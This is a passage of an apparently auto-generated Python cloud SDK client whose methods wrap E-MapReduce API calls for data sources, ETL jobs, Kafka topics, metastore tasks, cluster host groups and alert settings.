api_request = APIRequest('DescribeDataSourceCommand', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def list_data_source_schema_database(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
data_source_id=None):
api_request = APIRequest('ListDataSourceSchemaDatabase', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"DataSourceId": data_source_id}
return self._handle_request(api_request).result
def get_job_migrate_result(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('GetJobMigrateResult', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def list_data_source_schema_table(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
data_source_id=None,
table_name=None):
api_request = APIRequest('ListDataSourceSchemaTable', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"DataSourceId": data_source_id,
"TableName": table_name}
return self._handle_request(api_request).result
def describe_flow_variable_collection(self, region_id=None, entity_id=None):
api_request = APIRequest('DescribeFlowVariableCollection', 'GET', 'http', 'RPC', 'query')
api_request._params = {"RegionId": region_id, "EntityId": entity_id}
return self._handle_request(api_request).result
def release_etl_job(self, resource_owner_id=None, region_id=None, release_id=None, id_=None):
api_request = APIRequest('ReleaseETLJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ReleaseId": release_id,
"Id": id_}
return self._handle_request(api_request).result
def describe_data_source(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DescribeDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def describe_data_source_schema_table(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
data_source_id=None,
table_name=None):
api_request = APIRequest('DescribeDataSourceSchemaTable', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"DataSourceId": data_source_id,
"TableName": table_name}
return self._handle_request(api_request).result
def cancel_etl_job_release(
self,
resource_owner_id=None,
region_id=None,
etl_job_id=None,
release_id=None):
api_request = APIRequest('CancelETLJobRelease', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"EtlJobId": etl_job_id,
"ReleaseId": release_id}
return self._handle_request(api_request).result
def delete_data_source(self, resource_owner_id=None, region_id=None, id_=None):
api_request = APIRequest('DeleteDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Id": id_}
return self._handle_request(api_request).result
def list_cluster_tag(
self,
resource_owner_id=None,
list_of_cluster_id_list=None,
region_id=None):
api_request = APIRequest('ListClusterTag', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ClusterIdList": list_of_cluster_id_list,
"RegionId": region_id}
repeat_info = {"ClusterIdList": ('ClusterIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def update_etl_job(
self,
resource_owner_id=None,
cluster_config=None,
list_of_trigger_rule=None,
alert_config=None,
description=None,
check=None,
list_of_stage_connection=None,
list_of_stage=None,
region_id=None,
name=None,
id_=None):
api_request = APIRequest('UpdateETLJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ClusterConfig": cluster_config,
"TriggerRule": list_of_trigger_rule,
"AlertConfig": alert_config,
"Description": description,
"Check": check,
"StageConnection": list_of_stage_connection,
"Stage": list_of_stage,
"RegionId": region_id,
"Name": name,
"Id": id_}
repeat_info = {"TriggerRule": ('TriggerRule', 'list', 'dict', [('CronExpr', 'str', None, None),
('EndTime', 'str', None, None),
('StartTime', 'str', None, None),
('Enabled', 'str', None, None),
]),
"StageConnection": ('StageConnection', 'list', 'dict', [('Port', 'str', None, None),
('From', 'str', None, None),
('To', 'str', None, None),
]),
"Stage": ('Stage', 'list', 'dict', [('StageName', 'str', None, None),
('StageConf', 'str', None, None),
('StageType', 'str', None, None),
('StagePlugin', 'str', None, None),
]),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def sync_data_source_schema_table(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
etl_job_id=None,
data_source_id=None,
table_name=None):
api_request = APIRequest('SyncDataSourceSchemaTable', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"EtlJobId": etl_job_id,
"DataSourceId": data_source_id,
"TableName": table_name}
return self._handle_request(api_request).result
def list_apm_application(
self,
resource_owner_id=None,
diagnose_result=None,
end_time_from=None,
order_by=None,
cluster_id=None,
job_type=None,
page_number=None,
final_status=None,
region_id=None,
start_time_from=None,
app_id=None,
name=None,
page_size=None,
state=None,
start_time_to=None,
user=None,
end_time_to=None,
queue=None):
api_request = APIRequest('ListApmApplication', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DiagnoseResult": diagnose_result,
"EndTimeFrom": end_time_from,
"OrderBy": order_by,
"ClusterId": cluster_id,
"JobType": job_type,
"PageNumber": page_number,
"FinalStatus": final_status,
"RegionId": region_id,
"StartTimeFrom": start_time_from,
"AppId": app_id,
"Name": name,
"PageSize": page_size,
"State": state,
"StartTimeTo": start_time_to,
"User": user,
"EndTimeTo": end_time_to,
"Queue": queue}
return self._handle_request(api_request).result
def sync_data_source_schema_database(
self,
resource_owner_id=None,
db_name=None,
region_id=None,
etl_job_id=None,
data_source_id=None):
api_request = APIRequest('SyncDataSourceSchemaDatabase', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"DbName": db_name,
"RegionId": region_id,
"EtlJobId": etl_job_id,
"DataSourceId": data_source_id}
return self._handle_request(api_request).result
def list_etl_job_instance(
self,
resource_owner_id=None,
instance_id=None,
region_id=None,
etl_job_id=None,
page_size=None,
page_number=None,
status=None):
api_request = APIRequest('ListETLJobInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"InstanceId": instance_id,
"RegionId": region_id,
"EtlJobId": etl_job_id,
"PageSize": page_size,
"PageNumber": page_number,
"Status": status}
return self._handle_request(api_request).result
def modify_flow_variable_collection(self, data=None, region_id=None):
api_request = APIRequest('ModifyFlowVariableCollection', 'GET', 'http', 'RPC', 'query')
api_request._params = {"Data": data, "RegionId": region_id}
return self._handle_request(api_request).result
def run_etl_job(
self,
resource_owner_id=None,
list_of_instance_run_param=None,
region_id=None,
is_debug=None,
id_=None):
api_request = APIRequest('RunETLJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"InstanceRunParam": list_of_instance_run_param,
"RegionId": region_id,
"IsDebug": is_debug,
"Id": id_}
repeat_info = {
"InstanceRunParam": (
'InstanceRunParam', 'list', 'dict', [
('Value', 'str', None, None), ('Key', 'str', None, None), ]), }
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_data_source(
self,
resource_owner_id=None,
create_from=None,
region_id=None,
page_size=None,
name=None,
source_type=None,
id_=None,
project_id=None,
page_number=None):
api_request = APIRequest('ListDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"CreateFrom": create_from,
"RegionId": region_id,
"PageSize": page_size,
"Name": name,
"SourceType": source_type,
"Id": id_,
"ProjectId": project_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def migrate_jobs(self, resource_owner_id=None, project_name=None, region_id=None):
api_request = APIRequest('MigrateJobs', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ProjectName": project_name,
"RegionId": region_id}
return self._handle_request(api_request).result
def clone_data_source(self, resource_owner_id=None, region_id=None, name=None, id_=None):
api_request = APIRequest('CloneDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Name": name,
"Id": id_}
return self._handle_request(api_request).result
def list_nav_sub_tree(
self,
resource_owner_id=None,
depth=None,
region_id=None,
name=None,
page_size=None,
type_=None,
project_id=None,
parent_id=None,
page_number=None):
api_request = APIRequest('ListNavSubTree', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Depth": depth,
"RegionId": region_id,
"Name": name,
"PageSize": page_size,
"Type": type_,
"ProjectId": project_id,
"ParentId": parent_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def create_etl_job(
self,
resource_owner_id=None,
region_id=None,
nav_parent_id=None,
name=None,
description=None,
cluster_id=None,
type_=None,
project_id=None):
api_request = APIRequest('CreateETLJob', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NavParentId": nav_parent_id,
"Name": name,
"Description": description,
"ClusterId": cluster_id,
"Type": type_,
"ProjectId": project_id}
return self._handle_request(api_request).result
def create_data_source(
self,
resource_owner_id=None,
region_id=None,
nav_parent_id=None,
name=None,
description=None,
source_type=None,
conf=None,
cluster_id=None):
api_request = APIRequest('CreateDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"NavParentId": nav_parent_id,
"Name": name,
"Description": description,
"SourceType": source_type,
"Conf": conf,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def delete_cluster_host_group(
self,
resource_owner_id=None,
region_id=None,
host_group_id=None,
cluster_id=None):
api_request = APIRequest('DeleteClusterHostGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def create_cluster_host_group(
self,
resource_owner_id=None,
region_id=None,
comment=None,
cluster_id=None,
host_group_name=None,
host_group_type=None):
api_request = APIRequest('CreateClusterHostGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Comment": comment,
"ClusterId": cluster_id,
"HostGroupName": host_group_name,
"HostGroupType": host_group_type}
return self._handle_request(api_request).result
def render_resource_pool_xml(
self,
resource_owner_id=None,
region_id=None,
resource_pool_id=None,
cluster_id=None):
api_request = APIRequest('RenderResourcePoolXml', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ResourcePoolId": resource_pool_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def modify_cluster_host_group(
self,
vswitch_id=None,
resource_owner_id=None,
region_id=None,
host_group_id=None,
security_group_id=None,
comment=None,
cluster_id=None,
host_group_name=None):
api_request = APIRequest('ModifyClusterHostGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"VswitchId": vswitch_id,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"SecurityGroupId": security_group_id,
"Comment": comment,
"ClusterId": cluster_id,
"HostGroupName": host_group_name}
return self._handle_request(api_request).result
def list_resource_queue(
self,
resource_owner_id=None,
region_id=None,
pool_id=None,
page_size=None,
cluster_id=None,
page_number=None,
pool_type=None):
api_request = APIRequest('ListResourceQueue', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PoolId": pool_id,
"PageSize": page_size,
"ClusterId": cluster_id,
"PageNumber": page_number,
"PoolType": pool_type}
return self._handle_request(api_request).result
def common_api_white_list(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('CommonApiWhiteList', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def list_cluster_service_custom_action_support_config(
self,
service_custom_action_name=None,
resource_owner_id=None,
region_id=None,
service_name=None,
cluster_id=None):
api_request = APIRequest(
'ListClusterServiceCustomActionSupportConfig',
'GET',
'http',
'RPC',
'query')
api_request._params = {
"ServiceCustomActionName": service_custom_action_name,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ServiceName": service_name,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def migrate_cluster_host_group_host(
self,
list_of_host_instance_id_list=None,
resource_owner_id=None,
region_id=None,
host_group_id=None,
cluster_id=None):
api_request = APIRequest('MigrateClusterHostGroupHost', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"HostInstanceIdList": list_of_host_instance_id_list,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"HostGroupId": host_group_id,
"ClusterId": cluster_id}
repeat_info = {"HostInstanceIdList": ('HostInstanceIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_supported_service_name(self, resource_owner_id=None, region_id=None):
api_request = APIRequest('ListSupportedServiceName', 'GET', 'http', 'RPC', 'query')
api_request._params = {"ResourceOwnerId": resource_owner_id, "RegionId": region_id}
return self._handle_request(api_request).result
def metastore_update_kafka_topic_batch(
self,
resource_owner_id=None,
list_of_topic_param=None,
region_id=None):
api_request = APIRequest('MetastoreUpdateKafkaTopicBatch', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TopicParam": list_of_topic_param,
"RegionId": region_id}
repeat_info = {
"TopicParam": (
'TopicParam', 'list', 'dict', [
('TopicId', 'str', None, None), ('NumPartitions', 'str', None, None), ]), }
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def metastore_describe_kafka_topic(self, resource_owner_id=None, topic_id=None, region_id=None):
api_request = APIRequest('MetastoreDescribeKafkaTopic', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TopicId": topic_id,
"RegionId": region_id}
return self._handle_request(api_request).result
def metastore_list_kafka_topic(
self,
resource_owner_id=None,
active_only=None,
region_id=None,
page_size=None,
data_source_id=None,
topic_name=None,
cluster_id=None,
page_number=None):
api_request = APIRequest('MetastoreListKafkaTopic', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"ActiveOnly": active_only,
"RegionId": region_id,
"PageSize": page_size,
"DataSourceId": data_source_id,
"TopicName": topic_name,
"ClusterId": cluster_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def metastore_update_kafka_topic(
self,
resource_owner_id=None,
topic_id=None,
region_id=None,
list_of_advanced_config=None,
num_partitions=None):
api_request = APIRequest('MetastoreUpdateKafkaTopic', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TopicId": topic_id,
"RegionId": region_id,
"AdvancedConfig": list_of_advanced_config,
"NumPartitions": num_partitions}
repeat_info = {
"AdvancedConfig": (
'AdvancedConfig', 'list', 'dict', [
('Value', 'str', None, None), ('Key', 'str', None, None), ]), }
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def metastore_list_kafka_consumer_group(
self,
resource_owner_id=None,
topic_id=None,
region_id=None,
page_size=None,
page_number=None):
api_request = APIRequest('MetastoreListKafkaConsumerGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TopicId": topic_id,
"RegionId": region_id,
"PageSize": page_size,
"PageNumber": page_number}
return self._handle_request(api_request).result
def metastore_describe_kafka_consumer_group(
self,
resource_owner_id=None,
topic_id=None,
region_id=None,
consumer_group_id=None):
api_request = APIRequest('MetastoreDescribeKafkaConsumerGroup',
'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TopicId": topic_id,
"RegionId": region_id,
"ConsumerGroupId": consumer_group_id}
return self._handle_request(api_request).result
def metastore_create_kafka_topic(
self,
resource_owner_id=None,
region_id=None,
data_source_id=None,
topic_name=None,
list_of_advanced_config=None,
num_partitions=None,
replication_factor=None):
api_request = APIRequest('MetastoreCreateKafkaTopic', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"DataSourceId": data_source_id,
"TopicName": topic_name,
"AdvancedConfig": list_of_advanced_config,
"NumPartitions": num_partitions,
"ReplicationFactor": replication_factor}
repeat_info = {
"AdvancedConfig": (
'AdvancedConfig', 'list', 'dict', [
('Value', 'str', None, None), ('Key', 'str', None, None), ]), }
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def attach_pub_ip(
self,
resource_owner_id=None,
region_id=None,
list_of_instance_ids=None,
cluster_id=None):
api_request = APIRequest('AttachPubIp', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"InstanceIds": list_of_instance_ids,
"ClusterId": cluster_id}
repeat_info = {"InstanceIds": ('InstanceIds', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def metastore_list_table_partition(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
table_id=None,
database_id=None,
page_number=None):
api_request = APIRequest('MetastoreListTablePartition', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"TableId": table_id,
"DatabaseId": database_id,
"PageNumber": page_number}
return self._handle_request(api_request).result
def context_query_log(
self,
pack_id=None,
resource_owner_id=None,
total_offset=None,
size=None,
region_id=None,
pack_meta=None,
from_=None,
cluster_id=None,
to=None,
reverse=None,
log_store=None):
api_request = APIRequest('ContextQueryLog', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"PackId": pack_id,
"ResourceOwnerId": resource_owner_id,
"TotalOffset": total_offset,
"Size": size,
"RegionId": region_id,
"PackMeta": pack_meta,
"From": from_,
"ClusterId": cluster_id,
"To": to,
"Reverse": reverse,
"LogStore": log_store}
return self._handle_request(api_request).result
def start_flow(self, flow_instance_id=None, region_id=None, project_id=None):
api_request = APIRequest('StartFlow', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"FlowInstanceId": flow_instance_id,
"RegionId": region_id,
"ProjectId": project_id}
return self._handle_request(api_request).result
def metastore_delete_kafka_topic(self, resource_owner_id=None, topic_id=None, region_id=None):
api_request = APIRequest('MetastoreDeleteKafkaTopic', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TopicId": topic_id,
"RegionId": region_id}
return self._handle_request(api_request).result
def get_log_histogram(
self,
resource_owner_id=None,
host_inner_ip=None,
host_name=None,
logstore_name=None,
from_timestamp=None,
region_id=None,
to_timestamp=None,
sls_query_string=None,
cluster_id=None):
api_request = APIRequest('GetLogHistogram', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"HostInnerIp": host_inner_ip,
"HostName": host_name,
"LogstoreName": logstore_name,
"FromTimestamp": from_timestamp,
"RegionId": region_id,
"ToTimestamp": to_timestamp,
"SlsQueryString": sls_query_string,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def remove_cluster_hosts(
self,
resource_owner_id=None,
region_id=None,
cluster_id=None,
list_of_host_id_list=None):
api_request = APIRequest('RemoveClusterHosts', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id,
"HostIdList": list_of_host_id_list}
repeat_info = {"HostIdList": ('HostIdList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def list_flow_node_instance(
self,
list_of_status_list=None,
region_id=None,
page_size=None,
order_by=None,
start_time=None,
project_id=None,
page_number=None,
order_type=None):
api_request = APIRequest('ListFlowNodeInstance', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"StatusList": list_of_status_list,
"RegionId": region_id,
"PageSize": page_size,
"OrderBy": order_by,
"StartTime": start_time,
"ProjectId": project_id,
"PageNumber": page_number,
"OrderType": order_type}
repeat_info = {"StatusList": ('StatusList', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def describe_flow_job_statistic(self, from_app=None, region_id=None, project_id=None):
api_request = APIRequest('DescribeFlowJobStatistic', 'GET', 'http', 'RPC', 'query')
api_request._params = {"FromApp": from_app, "RegionId": region_id, "ProjectId": project_id}
return self._handle_request(api_request).result
def describe_cluster_statistics(self, resource_owner_id=None, region_id=None, strategy=None):
api_request = APIRequest('DescribeClusterStatistics', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Strategy": strategy}
return self._handle_request(api_request).result
def metastore_update_table(
self,
resource_owner_id=None,
region_id=None,
list_of_add_column=None,
list_of_add_partition=None,
list_of_delete_column_name=None,
table_id=None,
list_of_delete_partition_name=None):
api_request = APIRequest('MetastoreUpdateTable', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"AddColumn": list_of_add_column,
"AddPartition": list_of_add_partition,
"DeleteColumnName": list_of_delete_column_name,
"TableId": table_id,
"DeletePartitionName": list_of_delete_partition_name}
repeat_info = {"AddColumn": ('AddColumn', 'list', 'dict', [('Name', 'str', None, None),
('Comment', 'str', None, None),
('Type', 'str', None, None),
]),
"AddPartition": ('AddPartition', 'list', 'dict', [('Name', 'str', None, None),
('Comment', 'str', None, None),
('Type', 'str', None, None),
]),
"DeleteColumnName": ('DeleteColumnName', 'list', 'str', None),
"DeletePartitionName": ('DeletePartitionName', 'list', 'str', None),
}
verify_params(api_request._params, repeat_info)
return self._handle_request(api_request).result
def metastore_describe_task(self, resource_owner_id=None, region_id=None, task_id=None):
api_request = APIRequest('MetastoreDescribeTask', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"TaskId": task_id}
return self._handle_request(api_request).result
def metastore_retry_task(self, resource_owner_id=None, region_id=None, task_id=None):
api_request = APIRequest('MetastoreRetryTask', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"TaskId": task_id}
return self._handle_request(api_request).result
def metastore_list_task(
self,
resource_owner_id=None,
task_status=None,
task_source_type=None,
task_type=None,
region_id=None,
page_size=None,
data_source_id=None,
page_number=None,
task_id=None):
api_request = APIRequest('MetastoreListTask', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"TaskStatus": task_status,
"TaskSourceType": task_source_type,
"TaskType": task_type,
"RegionId": region_id,
"PageSize": page_size,
"DataSourceId": data_source_id,
"PageNumber": page_number,
"TaskId": task_id}
return self._handle_request(api_request).result
def metastore_describe_data_source(
self,
resource_owner_id=None,
region_id=None,
data_source_id=None):
api_request = APIRequest('MetastoreDescribeDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"DataSourceId": data_source_id}
return self._handle_request(api_request).result
def metastore_list_data_source(
self,
resource_owner_id=None,
region_id=None,
cluster_released=None,
page_size=None,
source_type=None,
data_source_name=None,
page_number=None):
api_request = APIRequest('MetastoreListDataSource', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterReleased": cluster_released,
"PageSize": page_size,
"SourceType": source_type,
"DataSourceName": data_source_name,
"PageNumber": page_number}
return self._handle_request(api_request).result
def query_sls_metric_data(
self,
resource_owner_id=None,
period=None,
region_id=None,
cluster_id=None,
start_time_stamp=None,
metric_name=None,
host_role=None,
end_time_stamp=None):
api_request = APIRequest('QuerySlsMetricData', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"Period": period,
"RegionId": region_id,
"ClusterId": cluster_id,
"StartTimeStamp": start_time_stamp,
"MetricName": metric_name,
"HostRole": host_role,
"EndTimeStamp": end_time_stamp}
return self._handle_request(api_request).result
def list_job_migrate_info(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
user_id=None,
current_size=None):
api_request = APIRequest('ListJobMigrateInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"UserId": user_id,
"CurrentSize": current_size}
return self._handle_request(api_request).result
def list_execute_plan_migrate_info(
self,
resource_owner_id=None,
region_id=None,
page_size=None,
user_id=None,
current_size=None):
api_request = APIRequest('ListExecutePlanMigrateInfo', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PageSize": page_size,
"UserId": user_id,
"CurrentSize": current_size}
return self._handle_request(api_request).result
def describe_security_group_attribute(
self,
resource_owner_id=None,
region_id=None,
cluster_id=None):
api_request = APIRequest('DescribeSecurityGroupAttribute', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def authorize_security_group(
self,
biz_type=None,
resource_owner_id=None,
biz_content=None,
region_id=None,
cluster_id=None):
api_request = APIRequest('AuthorizeSecurityGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"BizType": biz_type,
"ResourceOwnerId": resource_owner_id,
"BizContent": biz_content,
"RegionId": region_id,
"ClusterId": cluster_id}
return self._handle_request(api_request).result
def modify_user_statistics(
self,
job_migrated_num=None,
resource_owner_id=None,
execute_plan_num=None,
region_id=None,
job_num=None,
execute_plan_migrated_num=None,
interaction_job_migrated_num=None,
user_id=None,
interaction_job_num=None):
api_request = APIRequest('ModifyUserStatistics', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"JobMigratedNum": job_migrated_num,
"ResourceOwnerId": resource_owner_id,
"ExecutePlanNum": execute_plan_num,
"RegionId": region_id,
"JobNum": job_num,
"ExecutePlanMigratedNum": execute_plan_migrated_num,
"InteractionJobMigratedNum": interaction_job_migrated_num,
"UserId": user_id,
"InteractionJobNum": interaction_job_num}
return self._handle_request(api_request).result
def modify_alert_user_group(
self,
user_list=None,
resource_owner_id=None,
region_id=None,
biz_id=None,
name=None,
description=None):
api_request = APIRequest('ModifyAlertUserGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"UserList": user_list,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BizId": biz_id,
"Name": name,
"Description": description}
return self._handle_request(api_request).result
def modify_alert_ding_ding_group(
self,
resource_owner_id=None,
region_id=None,
biz_id=None,
name=None,
description=None,
web_hook_url=None):
api_request = APIRequest('ModifyAlertDingDingGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"BizId": biz_id,
"Name": name,
"Description": description,
"WebHookUrl": web_hook_url}
return self._handle_request(api_request).result
def modify_alert_contact(
self,
email_verification_code=None,
resource_owner_id=None,
region_id=None,
phone_number_verification_code=None,
biz_id=None,
name=None,
phone_number=None,
email=None):
api_request = APIRequest('ModifyAlertContact', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"EmailVerificationCode": email_verification_code,
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"PhoneNumberVerificationCode": phone_number_verification_code,
"BizId": biz_id,
"Name": name,
"PhoneNumber": phone_number,
"Email": email}
return self._handle_request(api_request).result
def list_user_statistics(
self,
resource_owner_id=None,
region_id=None,
order_mode=None,
page_size=None,
order_field_name=None,
current_size=None):
api_request = APIRequest('ListUserStatistics', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"OrderMode": order_mode,
"PageSize": page_size,
"OrderFieldName": order_field_name,
"CurrentSize": current_size}
return self._handle_request(api_request).result
def list_alert_user_group(
self,
resource_owner_id=None,
from_app=None,
region_id=None,
ids=None,
user_id=None):
api_request = APIRequest('ListAlertUserGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"FromApp": from_app,
"RegionId": region_id,
"Ids": ids,
"UserId": user_id}
return self._handle_request(api_request).result
def list_alert_ding_ding_group(
self,
resource_owner_id=None,
from_app=None,
region_id=None,
ids=None,
user_id=None):
api_request = APIRequest('ListAlertDingDingGroup', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"FromApp": from_app,
"RegionId": region_id,
"Ids": ids,
"UserId": user_id}
return self._handle_request(api_request).result
def list_alert_contacts(
self,
resource_owner_id=None,
from_app=None,
region_id=None,
ids=None,
user_id=None):
api_request = APIRequest('ListAlertContacts', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"FromApp": from_app,
"RegionId": region_id,
"Ids": ids,
"UserId": user_id}
return self._handle_request(api_request).result
def describe_user_statistics(self, resource_owner_id=None, region_id=None, user_id=None):
api_request = APIRequest('DescribeUserStatistics', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"UserId": user_id}
return self._handle_request(api_request).result
def delete_alert_user_groups(self, resource_owner_id=None, region_id=None, ids=None):
api_request = APIRequest('DeleteAlertUserGroups', 'GET', 'http', 'RPC', 'query')
api_request._params = {
"ResourceOwnerId": resource_owner_id,
"RegionId": region_id,
"Ids": ids}
